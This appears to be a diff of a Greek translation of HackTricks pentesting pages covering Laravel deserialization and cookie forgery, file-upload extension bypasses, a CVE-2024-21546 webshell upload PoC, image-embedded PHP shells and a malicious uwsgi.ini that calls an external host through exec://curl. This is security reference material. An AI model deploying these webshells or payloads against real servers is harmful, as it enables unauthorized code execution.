#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Ευπαθείς εκδόσεις: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσυμπίεσης εδώ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Εδώ θα βρείτε πληροφορίες για την deserialization vulnerability: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
Μπορείτε να το δοκιμάσετε και να το exploit χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ή μπορείτε επίσης να το exploit με metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
Μια άλλη αποσυμπίεση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
Άλλη deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Ανέβασμα Αρχείων
|
||||
# Αποστολή αρχείων
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Γενική Μεθοδολογία για Ανέβασμα Αρχείων
|
||||
## Γενική Μεθοδολογία για Αποστολή Αρχείων
|
||||
|
||||
Άλλες χρήσιμες επεκτάσεις:
|
||||
|
||||
@ -15,13 +15,13 @@
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||
### Παράκαμψη ελέγχων καταλήξεων αρχείων
|
||||
|
||||
1. Αν εφαρμόζονται, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε τις επίσης με μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **την προσθήκη μιας έγκυρης επέκτασης πριν** την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
1. Αν ισχύουν, **ελέγξτε** τις **παραπάνω επεκτάσεις.** Δοκιμάστε επίσης με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **το να προσθέσετε μια έγκυρη επέκταση πριν** από την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επεκτάσεις**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **doubling** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα σε επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε καλύτερο payload._
|
||||
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη junk δεδομένων** (**null** bytes) μεταξύ επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε καλύτερο payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Προσθέστε **άλλο ένα στρώμα επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
5. Προσθέστε **άλλο ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Προσπαθήστε να βάλετε την **εκτελέσιμη επέκταση πριν** από την έγκυρη επέκταση και ελπίζετε ότι ο server είναι κακώς ρυθμισμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **δεν τελειώνει απαραίτητα σε .php**, θα εκτελέσει κώδικα):
|
||||
6. Προσπαθήστε να βάλετε την **επέκταση εκτέλεσης πριν από την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λανθασμένα ρυθμισμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση **.php**, αλλά όχι απαραίτητα καταλήγοντας σε .php, θα εκτελέσει κώδικα):
|
||||
- _ex: file.php.png_
|
||||
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω-κάτω τελείας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακαμφθούν επιπλέον περιορισμοί (π.χ. "file.asp::$data.”)
|
||||
8. Προσπαθήστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
|
||||
7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να τροποποιηθεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**" μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη μιας τελείας μετά από αυτό το μοτίβο μπορεί επίσης να βοηθήσει στην παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.")
|
||||
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Παράκαμψη Content-Type, Magic Number, Compression & Resizing
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Παράκαμψη ελέγχων **Content-Type** ορίζοντας την **τιμή** της κεφαλίδας **Content-Type** σε: _image/png_ , _text/plain_, _application/octet-stream_
|
||||
Κάποιοι upload handlers αφαιρούν ή κανονικοποιούν τους τελείες (trailing dot) από το αποθηκευμένο όνομα αρχείου. Στην UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων κάνοντας:
|
||||
|
||||
- Χρησιμοποιώντας ένα έγκυρο image MIME και magic header (π.χ., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Ονομάζοντας το ανέβασμα αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ., `shell.php.`
|
||||
- Ο server αφαιρεί την trailing dot και αποθηκεύει `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε ένα web-served directory (default public storage like `/storage/files/`).
|
||||
|
||||
Ελάχιστο PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Έπειτα, επισκεφθείτε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Μέτρα αντιμετώπισης:
|
||||
- Αναβαθμίστε unisharp/laravel-filemanager σε ≥ 2.9.1.
|
||||
- Επιβάλτε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename.
|
||||
- Εξυπηρετήστε τα uploads από μη-εκτελέσιμες τοποθεσίες.
|
||||
|
||||
### Παρακάμψτε Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Παρακάμψτε τους ελέγχους του **Content-Type** ρυθμίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Παράκαμψη ελέγχου **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (να μπερδεύσετε την εντολή _file_). Ή εισάγοντας το shell μέσα στα **metadata**:\
|
||||
- Παρακάμψτε τον έλεγχο του **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes of a real image** (confuse the _file_ command). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Εάν **γίνεται συμπίεση** στην εικόνα, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιo κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Η σελίδα μπορεί επίσης να **αλλάζει μέγεθος** στην εικόνα, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Μια άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει του resizing εικόνας**, χρησιμοποιώντας τη PHP-GD συνάρτηση `thumbnailImage`. Επίσης, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Αν στην εικόνα σας εφαρμόζεται **compressions**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Η web σελίδα θα μπορούσε επίσης να **αναδιαστασιολογεί** την **εικόνα**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Μια άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Άλλα κόλπα για έλεγχο
|
||||
### Άλλα κόλπα για δοκιμή
|
||||
|
||||
- Βρείτε ευπάθεια που να επιτρέπει το **rename** του αρχείου που έχει ήδη ανέβει (για αλλαγή της επέκτασης).
|
||||
- Βρείτε ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||
1. Ανεβάστε **πολλαπλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
- Πιθανή αποκάλυψη πληροφοριών:
|
||||
1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
3. Ανέβασμα αρχείου με **".", "..", ή "…"** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στον "/www/" φάκελο.
|
||||
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
|
||||
3. Ανεβάζοντας ένα αρχείο με **"." , "..", ή "..."** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded files στον κατάλογο "/www/uploads/", το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στον κατάλογο "/www/".
|
||||
4. Ανεβάστε ένα αρχείο που ίσως δεν διαγράφεται εύκολα, όπως **"...:.jpg"** σε **NTFS**. (Windows)
|
||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **κρατημένα** (**forbidden**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ακούσια ανοίξει από το θύμα.
|
||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
|
||||
|
||||
### Ειδικά κόλπα επεκτάσεων
|
||||
### Ειδικά κόλπα για επεκτάσεις
|
||||
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, ρίξτε μια ματιά στο κόλπο **.htaccess** για εκτέλεση κώδικα: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution].\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, ρίξτε μια ματιά στο κόλπο **.config** για εκτέλεση κώδικα: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files.
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Τα `.phar` αρχεία είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (να εκτελεστούν με php, ή να συμπεριληφθούν μέσα σε ένα script...)
|
||||
Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...)
|
||||
|
||||
Η επέκταση `.inc` μερικές φορές χρησιμοποιείται για php αρχεία που χρησιμοποιούνται μόνο για **import files**, οπότε, σε κάποιο σημείο, κάποιος μπορεί να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, κάποια στιγμή, κάποιος μπορεί να έχει επιτρέψει **την εκτέλεση αυτής της επέκτασης**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Οπότε, όπως αναφέρεται στην εικόνα παρακάτω, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
||||
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Για αναλυτική διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρυθμίσεων `.ini`. Τα αρχεία ρυθμίσεων uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders και operators. Σημαντικά, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν επεξεργάζεται ένα `.ini` αρχείο ρυθμίσεων.
|
||||
Ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρυθμίσεων `.ini`. Τα αρχεία ρυθμίσεων του uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders, και operators. Σημειωτέον, ο τελεστής '@', χρησιμοποιούμενος ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν επεξεργάζεται ένα αρχείο `.ini`.
|
||||
|
||||
Σκεφτείτε το ακόλουθο παράδειγμα ενός επιβλαβούς `uwsgi.ini` αρχείου, που δείχνει διάφορα schemes:
|
||||
Εξετάστε το παρακάτω παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να γίνει parsing η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανέλθει (πιθανώς μετά από ένα crash ή λόγω μιας Denial of Service επίθεσης) είτε το αρχείο πρέπει να είναι ρυθμισμένο σε auto-reload. Η λειτουργία auto-reload, αν είναι ενεργοποιημένη, φορτώνει ξανά το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||
